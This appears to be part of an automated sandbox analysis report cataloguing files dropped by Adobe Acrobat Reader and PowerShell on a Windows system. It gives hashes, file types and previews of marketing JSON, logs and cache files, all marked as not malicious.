MD5:	5B013EB7F83BD8002CA833836685E4F6
SHA1:	3A98A4F09CE1B3A1E74E066F9370163420D6981B
SHA-256:	FE8081502EAC296BB5BD0C0C40F80124FB08354B526638B1BB18EB00DEB4B472
SHA-512:	509AB7CC959FF2F7E6BEA512C72FF9544D7EF28508D7FDD484C68DF3487EF615704C028584A5E254816D238F0EC9D6B2C8F6CF38D444459DA9C140B4FDF6E935
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2579186006617835
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJf21rPeUkwRe9:YvXKX8LO2vR/ZwHAWG+16Ukee9
MD5:	7E9890F7F4A833F248BD10E2B5363899
SHA1:	C1F7BE7A00DB781CD0F73A98241D5A303CECFB35
SHA-256:	21B2FD14F905DE9C508127950C0BF8A4066D3A8322A2950E9D7BE795FB27C0D1
SHA-512:	83C667C22D128BCBC802C7BFEF8933A352F4DDE4B8C348A5AC944E5D63350356919180F24D2F03D3666EFFA1C15C26C2F6B902960EF36DAF7A2587784BECFFC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66112537323364
Encrypted:	false
SSDEEP:	24:Yv6Xu9JhvamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:Yv9JhHBgkDMUJUAh8cvMD
MD5:	107D82DF9B01C44DC240F085BA20D085
SHA1:	F36EE24F16DAFA00D9C33E4F36D09766821C86DD
SHA-256:	01E7E9C0D2D1BFA9256B116863D660D9F41C56AA0B41D505FA22A78CB26E1723
SHA-512:	8AAC88ECCE51F6D6400A1753ACC7707D8A24E1CE19E832D133D966F45EE71770D144BDC1B0E28F826F37ECF11C69295A1D3E3D92D2F7B92F3619283711624BD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233157172610496
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfshHHrPeUkwRe9:YvXKX8LO2vR/ZwHAWGUUUkee9
MD5:	D9558DBE207FF2AE74476089FF6B7DEC
SHA1:	D3AA29BFDB3A019D0ABD6B9054E4CC4B7DCECBE7
SHA-256:	E66A9C7970FF4FDB8B75050CAC4612BC6B4EE91F30BAF6E10FAA3D25DEA33CFB
SHA-512:	9A8C120D87B49F9BE5751C7E9691B9F158D4F047DD1DB0037C08A70A6F1ADF8A2979C91E7475C0B2092BC70D78BEF63D4DDD94C7F2E2C76CDA4A7080C2C7CE25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.253571013428228
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJTqgFCrPeUkwRe9:YvXKX8LO2vR/ZwHAWGTq16Ukee9
MD5:	64023F2D61AD90E2DFEE6082D1F1E1F8
SHA1:	381B29DAD8A971158ADF9971B08F29916F0210C9
SHA-256:	26E58CB122D05E8F24C5A3C80B77074A490FA3595EEB227ED9863E08279CE436
SHA-512:	DD4ECFC87C6FE3ABCE4A7FFA9B24090705C2F293BDB541A73370D58F86E175F0AD3B5D580CCB62AD9C5000E61665E6513C3630D222A9A7A0FC7579E4C4AE5DA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12386858142665
Encrypted:	false
SSDEEP:	24:Y2B1Ua0lBay9GUqQqyXoIywjnybaj0Sksljo2X2LSue+Ct1AxM59Ac9p/Eu8OG:YmSC1GbnyIHlc20e+aWMV9p/u
MD5:	914580650C68BE235DE1976E56509DE1
SHA1:	0232DCD7884F56B61A881167769EC2C6E2F02E24
SHA-256:	90B5C9ACE83680EF59402253CB613360FEEB9AF7E0586356893CCE7CB4B13829
SHA-512:	5214C3A6E71ABF5A79BA83F8DAF87E6DD99F65748A3C7AF81D0CDD66D04B4B39C71C02F0B6A26321592CCE76D151B6B2DF0FF2A7DE53293251396A09A83313C4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"965422790d1e0a32a6111c4c4646ddae","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736547707000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"84f538c5e9f9782f8fb183f0965af0c7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736547707000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3136e4e42385c83e1a5eae181781947d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736547707000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"360642f05455b558fd021641d9645797","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736547707000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e23c9edb24cb08590f33f3c0876770f4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736547707000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a0d6f1828be727401d075fc561c262fd","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3182104939008417
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMestqVpaX:TGufl2GL7ms9WR1CPmPbPahGypilIK
MD5:	4F658584FC7D510C513B34BA7C26BD30
SHA1:	16742D673D49BBC5E0F0A68611CA0FA79DF9C46C
SHA-256:	57387A56DD74143C11829820F6B4B1F87E3813689A0517616FE73ECEBF1B7704
SHA-512:	838B1DDABDA1854F917582A8D5EA0065C26117EE4FBB2B9C9FB1FDD3654609DD784F4F99DC0B12F04BEEFD4B1F62A798532FBF27C35BC76F05A872DD9C7A8A1E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7784261244321782
Encrypted:	false
SSDEEP:	24:7+tHWlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMes4qVpaVrScVr0InqqLhx/c:7MdWR1CPmPbPah/ypilIzqFl2GL7msCH
MD5:	06B89BE6E573504C571613B80C4CF78A
SHA1:	180FB2DFBF34EF9D9132D81ED34404FF63B61002
SHA-256:	7404FB7073F58C0E70F8396BD80C07727148487D8712A2A33F5F3DB0FF7C0EEC
SHA-512:	E3DF333C30A44AF1AD5FDBBFFBCAD075D7CB5B9AB8909270F05418CB86A3F2DF5654D6509E9228F0770DD599D6CCF9290F1D03A1953446351C60C68C93A82B55
Malicious:	false
Preview:	.... .c......KU...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6LvIZoFDXc8OzFid611THspQYyu:6a6TZ44ADE6LvIZeDXITHsOK
MD5:	8B6E5BFEC50FF55A6CCF1B50586AC458
SHA1:	6C20784A65AF22E74CD2CB484C314AF67E7E03D3
SHA-256:	DA6E563433E1FCCED9BED77DF782E0990914FF0C94B3A819F5F9EF9BB561DC43
SHA-512:	DFADA5104C88F9AECD4D1F04C678BEBF067D5CFC7652727733BF138FCC626E2A5D44D2D4164289D2814AFBB15E8BD5ED871F13EA98C9875072D4056F39F4F0C9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI2586.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4973455600014702
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEps:Qw946cPbiOxDlbYnuRK+bD+
MD5:	B5DC670E1D3BFF8850FA62F5D63CE2D6
SHA1:	5094A1026C3526D85AEEDC768AACDFF6315A8F6B
SHA-256:	FABD2DECDD41F84A4041BF8A5D6FC374CAEC83D5707F332539D89683427ADAD0
SHA-512:	815DDE6E70ACAAFFAB425B7ABBCA2232522832D90CEC4C003D244B1151732AB8C529ADAEAE830A53910EE06F7FEB48F044B3A1C806972BB2D02D6F18E6AB081E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.2.1.:.4.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixpnvobk.1uh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lznlykak.3ii.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-21-41-545.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347913900666999
Encrypted:	false
SSDEEP:	384:ZFe/maTev/QAZWZysSr22tS25e0fz+Cf03G6MAMl7A0Wp3SGT//ufWQa9gHgBg6e:/KO
MD5:	F889BF393670A7FD9E5766D82A0060C5
SHA1:	72F15D1C4D3EA18B817E414F8C84067673D1B0FB
SHA-256:	F0C06D7CB79BF56508BB8484D392FBAFA7F36537F8F10AD69CBCED5D52433D03
SHA-512:	F90AA25582CABD68F33D780AF987F11DC1C032B20ABBE53EB92229B4149BFA273F486422F08FBD63A7E12502FFAFBCA3482E39F1436D383A14283A4F021439D4
Malicious:	false
Preview:	SessionID=a5f7f667-19e7-4ef0-8a59-864bb0b49215.1736547701591 Timestamp=2025-01-10T17:21:41:591-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a5f7f667-19e7-4ef0-8a59-864bb0b49215.1736547701591 Timestamp=2025-01-10T17:21:41:591-0500 ThreadID=7440 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a5f7f667-19e7-4ef0-8a59-864bb0b49215.1736547701591 Timestamp=2025-01-10T17:21:41:592-0500 ThreadID=7440 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a5f7f667-19e7-4ef0-8a59-864bb0b49215.1736547701591 Timestamp=2025-01-10T17:21:41:592-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a5f7f667-19e7-4ef0-8a59-864bb0b49215.1736547701591 Timestamp=2025-01-10T17:21:41:592-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400963978439614
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbWgcbeIVDcbF:ceo4+rsCwdVU
MD5:	8400810542B863A0B039A60BFBD421A3
SHA1:	38660CD0C36DB7B746BF3B6775E7846FE2CA27B7
SHA-256:	4F668DE150DE945BA1DDE366A1C71DF1C563DC58BEF84CB5F1F54A76EC81542D
SHA-512:	48B41C66D2097235B509A0FA1E3A834C6DD6402107F6C84EE8CA2641D867926B5F99FB2D15AF70E61D7FD6E08B85339A16FB64D968F7C9C3B055BA5EB1C405F1
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\05d79e9d-670b-4c05-86ac-00ec1e991901.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\596a729a-d0da-470b-b711-05ead6fd2c0b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\81f8c87c-5aaa-4588-88c8-512ceeb44545.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
